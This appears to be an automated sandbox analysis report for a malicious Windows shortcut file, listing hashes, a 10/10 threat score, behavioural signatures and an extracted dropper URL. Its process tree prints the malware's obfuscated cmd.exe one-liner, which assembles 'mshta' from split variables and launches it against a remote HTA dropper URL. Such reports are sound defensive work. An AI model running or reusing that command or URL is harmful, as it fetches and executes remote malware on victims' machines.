Analysis
- max time kernel
148s - max time network
116s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
04/08/2026, 08:36
Static task
static1
Behavioral task
behavioral1
Sample
DOC-A00WKJ.lnk
Resource
win10v2004-20260513-en
4 signatures
150 seconds
Behavioral task
behavioral2
Sample
DOC-A00WKJ.lnk
Resource
win11ltsc2024-20260709-en
3 signatures
150 seconds
General
- Target DOC-A00WKJ.lnk
- Size 1KB
- Sample260804-khjh2a1vbw
- SHA256 f7f746df8b86126fc6a624bd60201feebe7dc21b1ffe7ee4cabb828a52070909
- MD5 ad2cc4b24867446c7f776f132c1bee35
- SHA1 515ef8df2d662fea3d68da3c42878861134b9d8f
- SHA512 a1d3fed32bd9cab02450b3f9505682bdc4b416d08a7e1ae00782c8866bd0b14cef441284cc42e748abfdd3dda3e32dc9887e76e6818f4b1e034b63065a6001a2
- TLSH T16C3197003FFD0624F3F78F7285BB572489BBB8558E20C62E0041454C5432A15E53AF67
- MD5 SHA1 SHA512 TLSH
Score
10/10
Malware Config
Extracted
Language
-
hta
Source
URLs
-
hta.dropper
https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB
Signatures
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 4848 cmd.exe 2332 cmd.exe - Suspicious use of WriteProcessMemory 2 IoCs
description pid Process procid_target PID 2332 wrote to memory of 4848 2332 cmd.exe 90 PID 4848 wrote to memory of 5180 4848 cmd.exe 91
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\DOC-A00WKJ.lnk1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2332 -
C:\WINDOWS\system32\cmd.exe"C:\WINDOWS\system32\cmd.exe" /V:on /c "set iePd=msh&&set hAQc=ta&&start "" !iePd!!hAQc! https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4848 -
C:\Windows\System32\mshta.exemshta https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB3⤵PID:5180
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